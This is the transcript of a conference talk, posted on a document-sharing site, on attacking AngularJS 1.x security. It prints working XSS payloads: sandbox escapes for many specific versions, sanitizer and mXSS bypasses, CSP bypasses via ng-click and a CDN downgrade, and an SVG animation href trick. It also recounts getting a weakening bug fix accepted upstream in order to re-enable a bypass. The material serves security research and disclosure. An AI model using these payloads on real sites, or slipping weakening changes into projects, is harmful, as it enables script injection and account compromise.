Top Banner
An Abusive Relationship with AngularJS About the Security Adventures with the "Super-Hero" Framework A talk by Mario Heiderich [email protected] || @0x6D6172696F
66

An Abusive Relationship with AngularJS

Apr 21, 2017

Download

Internet

Mario Heiderich
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: An Abusive Relationship with AngularJS

An Abusive Relationship with AngularJS About the Security Adventures with the "Super-Hero" Framework

A talk by Mario [email protected] || @0x6D6172696F

Page 2: An Abusive Relationship with AngularJS

Godzilla in your DOM

● Dr.-Ing. Mario Heiderich● Researcher and Post-Doc, Ruhr-Uni Bochum

● PhD Thesis about Client Side Security and Defense● Founder of Cure53

● Pentest- & Security-Firm located in Berlin● Security, Consulting, Workshops, Trainings● Simply the Best Company in the World

● Published Author and Speaker● Specialized on HTML5, DOM and SVG Security● JavaScript, XSS and Client Side Attacks

● HTML5 Security Cheatsheet● And DOMPurify!

● @0x6D6172696F● [email protected]

Page 3: An Abusive Relationship with AngularJS

Today we want to talk about AngularJS 1.x. And how it deals with security.

But why? Is all this relevant?

Page 4: An Abusive Relationship with AngularJS

And most importantly, is AngularJS 

the Honey Boo Boo of JavaScript Frameworks?

Page 5: An Abusive Relationship with AngularJS

What is AngularJS?

● Popular JavaScript MVC● Model-View-Whatever actually● Self-proclaimed “Superheroic Framework”● Maintained and recommended by Google● Polarizing Philosophy● Ever-growing user-base● Large rate of adoption● Heavy traffic on GitHub repository

Page 6: An Abusive Relationship with AngularJS

Why AngularJS

● It's not the first time I've been talking about AngularJS and its shenanigans.

● We've been whaling on AngularJS for quite some time actually.

● Here for example.● Leading to a strange discussion.● Is it personal? No. The reasons are different.

Page 7: An Abusive Relationship with AngularJS
Page 8: An Abusive Relationship with AngularJS

Relationship Reasons

● It's exposing a large amount of ...self-love. ● Superheroic framework.● It's changing ways websites work.● It breaks the API often and makes upgrades

harder.● It assumes to be smarter than HTML and works

with “markup sugar”.● It will break everything in upcoming version 2.0.● We saw yesterday how that will look like.

Page 9: An Abusive Relationship with AngularJS
Page 10: An Abusive Relationship with AngularJS

The Honey Boo Boo of MVC?

Page 11: An Abusive Relationship with AngularJS

Maybe Not

● AngularJS has fairly high security standards.● The security level is great if the rules are being

followed.● By developers and maintainers. Both.● And anything complex running in the browser

must know the browser.● The web security paradox of layers.● Network, Server, Browser, Framework, User, …

and all the ways back to the network.

Page 12: An Abusive Relationship with AngularJS

It's better to design your application in such a way that users cannot change client-side templates. For instance:

Do not mix client and server templates Do not use user input to generate templates dynamically Do not run user input through $scope.$eval Consider using CSP (but don't rely only on CSP)

https://docs.angularjs.org/guide/security

Page 13: An Abusive Relationship with AngularJS

Now, let's be nasty and attack.

But what? What shall we have a look at?

Page 14: An Abusive Relationship with AngularJS

Four General Attack-Vectors

● A1: Attacking the Sandbox● A2: Attacking the Sanitizer● A3: Attacking the CSP Mode● A4: Attacking the Codebase

Page 15: An Abusive Relationship with AngularJS

A1

Page 16: An Abusive Relationship with AngularJS

A1: The AngularJS Sandbox

● The AngularJS Sandbox is a weird creature with strange motivations.

● According to the documents, it's not a security tool.● It is mostly meant to “get devs off that DOM”.● Mean, to limit exposure of the original DOM to avoid its

pitfalls.● The AngularJS sandbox is in place for expressions and

several directives.● User input reflected in an expression often means

immediate XSS. The sandbox prevents that.

Page 17: An Abusive Relationship with AngularJS

A1: First Bypasses

● Bypassing the sandbox in early AngularJS versions was trivial.

● {{constructor.constructor('alert(1)')()}}

● That's it. Access the scope object's constructor, next access constructor again, get Function, done.

● Function('code here')(); // like an eval

● This attack works starting with version AngularJS 1.0 and stops working in 1.2.0.

● Sadly, many sites still employ AngularJS 1.1.x.● And have difficulties upgrading due to API changes.

Or simply don't care about upgrades.

Page 18: An Abusive Relationship with AngularJS

<!-- Bypassing Sandboxes, Toddler-style --!>

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script>

<div class="ng-app">

{{ constructor.constructor('alert(1)')() }}

</div>

Page 19: An Abusive Relationship with AngularJS

A1: First Fixes

● AngularJS reacted to this and implemented fixes. Because “no security tool”, right?

● This was done by restricting access to Function (and other dangerous objects)

● So, we needed to get Function from somewhere else.

● Somewhere, where AngularJS doesn't notice we have access to it.

● ES5, Callbacks and __proto__ help here!

Page 20: An Abusive Relationship with AngularJS

A1: More Bypasses

● AngularJS' parser was actually quite smart.● Bypasses needed to be more creative.● Finders are Jann Horn, Mathias Karlsson and

Gábor Molnár● And luckily, we had Object to provide

methods to get Function from.● Or mentioned callbacks.● Let's dissect those for a brief moment.

Page 21: An Abusive Relationship with AngularJS

<!-- Jann Horn's Bypass --!>

<html ng-app><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js"

></script></head><body>{{

(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor( _.__proto__,$).value,0,'alert(1)')()

}}</body>

Page 22: An Abusive Relationship with AngularJS

<!-- A Variation for AngularJS by moi, specifically for 1.2.0 --!>

<html ng-app><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.js"

></script></head><body> {{ a="constructor";b={}; a.sub.call.call(b[a].getOwnPropertyDescriptor( b[a].getPrototypeOf( a.sub),a).value,0,'alert(1)')()

}}</body>

Page 23: An Abusive Relationship with AngularJS

<!-- Mathias Karlsson's Bypass -->

<html ng-app><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.js"> </script></head><body> {{

toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor)

}} </body></html>

Page 24: An Abusive Relationship with AngularJS

<!-- Gábor Molnár's Bypass -->

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js"></script><body ng-app> {{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }}</body></html>

Page 25: An Abusive Relationship with AngularJS

<!-- Bypass via attributes, no user interaction →<!-- Open that page with #foo in the URL -->

<!doctype html><html><head><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"></script></head><body><a id="foo" ng-app ng-focus="$event.view.location.replace('javascript:document.write(document.domain)')" contenteditable="true"></a></body></html>

Page 26: An Abusive Relationship with AngularJS

A1: Extreme Bypasses

● Jann Horn reported another bypass for 1.3.2 and it's insane

Page 27: An Abusive Relationship with AngularJS

<!-- Jann's rather extreme Bypass -->

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script><body ng-app ng-csp>{{objectPrototype = ({})[['__proto__']];objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);$root.$$listenerCount[['constructor']] = 0;$root.$$listeners = [].map;$root.$$listeners.indexOf = [].map.bind;functionPrototype = [].map[['__proto__']];functionToString = functionPrototype.toString;functionPrototype.push = ({}).valueOf;functionPrototype.indexOf = [].map.bind;foo = $root.$on('constructor', null);functionPrototype.toString = $root.$new;foo();}}{{functionPrototype.toString = functionToString;functionPrototype.indexOf = null;functionPrototype.push = null;$root.$$listeners = {};baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();baz = true;''}}</body></html>

Page 28: An Abusive Relationship with AngularJS

A1: Current State

● What about versions 1.3.2 to latest?● Any publicly known sandbox bypasses?● Access to pretty much everything has been

restricted.● No window, no Function, no Object, no call() or apply(), no document, no DOM nodes

● And all other interesting things the parser cannot understand. RegExp, “new”, anonymous functions.

● Is that the end of the road?● Let's have a look!

Page 29: An Abusive Relationship with AngularJS

<!-- Jann Horn's latest Bypass -->

<html><head><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js"></script></head><body ng-app>{{'this is how you write a number properly. also, numbers are basically arrays.';0[['__proto__']].toString = [][['__proto__']].pop;0[['__proto__']][0] = 'alert("TROLOLOL\\n"+document.location)';0[['__proto__']].length = 1;

'did you know that angularjs eval parses, then re-stringifies numbers? :)';$root.$eval("x=0", $root);}}</body></html>

Page 30: An Abusive Relationship with AngularJS

<!-- Gareth's Bypasses, fixed in 1.5.0-rc2 -->

1.4.7{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.3.15{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}

1.2.28{{''.constructor.prototype.charAt=''.valueOf;$eval("x='\"+alert(1)+\"'");}}

Read more here:http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

Page 31: An Abusive Relationship with AngularJS

Note that sandbox bypasses exist for the latest version 1.5.0­rc2 as well. 

Will they get fixed? Would it even make sense if they got fixed given the state of AngularJS 1.x?

I think no.

Page 32: An Abusive Relationship with AngularJS
Page 33: An Abusive Relationship with AngularJS

A1: User Interaction

● And there is of course variations, the maintainers cannot really do much about.

● For example copy&paste, my favorite.

Page 34: An Abusive Relationship with AngularJS

<!-- Bypass using Copy&Paste in Firefox -->

<meta charset="UTF-8"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js"></script><body ng-app=""> <input ng-copy="$event.preventDefault();$event.clipboardData.setData('text/html','&lt;div contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a xlink:href=&quot;?&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;circle r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate attributeName=&quot;xlink:href&quot; from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot; begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt;&lt;/div&gt')" value="Copy Me"> <div contenteditable>PASTE HERE</div></body></html>

Page 35: An Abusive Relationship with AngularJS
Page 36: An Abusive Relationship with AngularJS

A2

Page 37: An Abusive Relationship with AngularJS

A2: The Sanitizer

● AngularJS has an integrated HTML sanitizer.● It's a component called $sanitize.● It's purpose is to wash away XSS attacks

from a string of HTML.● And return a clean string of HTML ready for

safe and secure usage.● There is two major versions, one horrible

version, one that's not so bad.

Page 38: An Abusive Relationship with AngularJS

A2: The Old Sanitizer

● The Old Sanitizer uses an actual HTML parser from 2008.

● That old thing from John E. Resig.● It's extremely strict, hard to configure, crashes

literally all the time.● We published a test-case where you can play with it.● And it can be bypassed if some likely

prerequisites are met.● Because of Chrome.● Also, a friendly hat-tip to Gareth Heyes!

Page 39: An Abusive Relationship with AngularJS

Injection: <svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id%3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D%27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E%3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D%270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a%3E%3C/svg%3E#rectangle"></use></svg>

Chrome ignores content type for SVG <use>!

Page 40: An Abusive Relationship with AngularJS

A2: The New Sanitizer

● The New Sanitizer is still ugly. But it uses the DOM instead of a parser.

● Namely, document.implementation, just like DOMPurify

● It is still very strict, even more so since now it forbids SVG by default. Boo.

● Early versions did not and were “bypassable”.● And SVG is admittedly tricky to handle.● New versions do and are still “bypassable”.● Because of Chrome. Again.● Cheers, Roman Shafigullin.

Page 41: An Abusive Relationship with AngularJS

Affected Characters: &#5760; &#8192; &#8193; &#8194; &#8195; &#8196; &#8197; &#8198; &#8199; &#8200; &#8201; &#8202; &#8232; &#8287;

A classic mXSS in Chrome!

Page 42: An Abusive Relationship with AngularJS
Page 43: An Abusive Relationship with AngularJS

A3

Page 44: An Abusive Relationship with AngularJS

A3: Attacking the CSP Mode

● Contrary to many other frameworks, AngularJS works well together with CSP.

● CSP? Content Security Policy. ● The wannabe “XSS Killer”.● And it has to, otherwise it wouldn't be deployable in

extensions and alike.● Its compatibility with CSP is a strength and a

weakness at the same time.● We are interested in the latter of course.

Page 45: An Abusive Relationship with AngularJS

A3: Early CSP Bypasses

● The first spotted bypasses were trivial to say the least. Just use Framework features.

● Take a website with strong CSP and older AngularJS.● Find an injection.● Don't do "onclick="alert(1)"● But instead do "ng-click="$event.view.alert(1)".● Because $event leaks window via view.● This works until version 1.1.5.

Page 46: An Abusive Relationship with AngularJS

<?phpheader('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');?><html ng-app ng-csp><head><meta charset="utf-8"><script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js"></script></head><body>

<h1 ng-click="$event.view.alert(1)">XSS</h1><h1 ng:click="$event.view.alert(2)">XSS</h1><h1 x-ng-click="$event.view.alert(3)">XSS</h1><h1 data-ng-click="$event.view.alert(4)">XSS</h1><h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1>

</body></html>

Page 47: An Abusive Relationship with AngularJS

A3: Fixes and new Bypasses● Why not use the sandbox here as well?● AngularJS started to prevent access to window and

other properties.● So we would do it indirectly, abusing a

Chrome flaw, with the help of Blob.● But for Blob we would need the “new” operator

and AngularJS doesn't parse that. ● So we need to resort to using ES6 and the brand

new Reflect API.● This works until version 1.3.1 by the way.● And latest Chrome supports ES6's Reflect

API! Yay :D

Page 48: An Abusive Relationship with AngularJS

<?phpheader('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');?><html ng-app ng-csp><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js" ></script></head><body>

<h1 ng-click="

$event.view.location.replace($event.view.URL.createObjectURL($event. view.Reflect.construct( $event.view.Blob,[['<script>alert(1)</script>'],{type:'text/html'}])))

">XSS</h1>

<!-- without CSP we can of course do this --><h1 ng-click="$event.view.location.replace('javascript:alert(1)')">XSS</h1></body>

Page 49: An Abusive Relationship with AngularJS

<!-- read from bottom to top --><h1 ng-click="

$event.view.location.replace( // 4. call location.replace $event.view.URL.createObjectURL( // 3. create Blob URL $event.view.Reflect.construct( // 2. get around “new” $event.view.Blob, [['<script>alert(1)</script>'], {type:'text/html'}] // 1. build a Blob ) ));

">XSS</h1>

Page 50: An Abusive Relationship with AngularJS

A3: Universal CSP Bypass

● There's another bypass they cannot easily fix.● It works where applications use the Google CDN.● And it relates to a collision check they

implemented. Only too late.● Because it landed in 1.2.15 and newer.● “WARNING: Tried to load angular more than once.”

● And essentially enables a downgrade attack.● That will, if Google CDN is white-listed, universally

bypass CSP. Don't white-list that CDN.● Just bring the old bypasses back!

Page 51: An Abusive Relationship with AngularJS

<?phpheader('Content-Security-Policy: default-src \'self\' ajax.googleapis.com');?><html ng-app ng-csp><head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.js" ></script></head><body>

<h1 class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js></script><h1/ng-click=$event.view.alert(1)//>CLICKME"></h1>

</body>

Page 52: An Abusive Relationship with AngularJS
Page 53: An Abusive Relationship with AngularJS

A4

Page 54: An Abusive Relationship with AngularJS

A4: Attacking the Code-Base

● What does an attacker do if no exploitable bugs can be found?

● Of course. We attack the project itself.● And use the power of open source to introduce

changes that cause the bugs we want.● And thereby get both praise for reporting a bug

and the desired exploit for free.● We did that to AngularJS.● Google Security knew in advance,

AngularJS did not.

Page 55: An Abusive Relationship with AngularJS

A4: The Con-Setup

● We needed a subtle “bug” that upon being fixed would raise a security issue.

● Or smuggle in a pull request that looks unsuspicious enough to pass QA.

● The first option is unlikely, like a lottery win.● The second option is a bit more risky, what if we get

detected?● Well.● We were lucky, that exact subtle “bug” existed

and it did in the $sanitizer component. ● Let's have a look!

Page 56: An Abusive Relationship with AngularJS

A4: The Bug

// SVG attributes (without "id" and "name" attributes)// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributesvar svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' +

'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' + 'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' + 'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' + 'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' + 'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' + 'zoomAndPan');

Fun fact, those attributes were considered safe because of a deprecated Wiki page from WHATWG: https://wiki.whatwg.org/wiki/Sanitization_rules

Page 57: An Abusive Relationship with AngularJS

A4: The Bug

angular.forEach(attrs, function(value, key) {

var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background');

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } });

As we can see, the lowercasing ruins the test – and even valid attributes cannot pass. What a coincidence, that this happens exactly for dangerous attributes here! Thanks, SVG!

Page 58: An Abusive Relationship with AngularJS

A4: The Execution

● So, if that specific behavior observed in the sanitizer blocks a bypass...

● We need to file a bug to get it fixed!● The bug. Not the bypass :)● So we did that.● And it got accepted!

Page 59: An Abusive Relationship with AngularJS

A4: The Bypass

<svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href"

begin="0" from="javascript:alert(1)" to="&" /> </a></svg>

We use an animation to animate a link's href attribute from a benign, over a dangerous to a harmless but invalid state, causing the browser to jump back to the malicious state. Neat.

Page 60: An Abusive Relationship with AngularJS

A4: The Aftermath

● We reported the issue to Google Security.● They informed the AngularJS Team.● Nothing happened for weeks.● The next release came close. Danger!● We pinged again.● They finally fixed our bug.● Phew :)● Now, note that file contains a big comment warning

the developers.

Page 61: An Abusive Relationship with AngularJS

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

Page 62: An Abusive Relationship with AngularJS

And, in case you hate us a bit for doing that

stunt...

Page 63: An Abusive Relationship with AngularJS

We even got Bug Bounty for that in the end!

:D

Page 64: An Abusive Relationship with AngularJS
Page 65: An Abusive Relationship with AngularJS

A Quick Conclusion

● AngularJS does in fact extend the attack surface dramatically. Older versions even more.

● Meanwhile, some things are done right. Others can almost never be fixed again.

● Developers have to know pitfalls to avoid them.● And we find MANY of these in penetration tests: MANY.● And pitfalls often are unfairly hard to detect and avoid.

Especially when CSP is involved.● Many sites still use older versions. Many.● Open Source can be risky if the traction is high.● Google's team already does well though.● But Google could do better in helping developers.

Page 66: An Abusive Relationship with AngularJS

The End

● Question? Comments?● Thanks a lot!● Shouts go out to

● Gareth McHeyes● Jann Horn● Mathias Karlsson● Gábor Molnár● David Ross● Eduardo Vela● The AngularJS team for so much XSS :D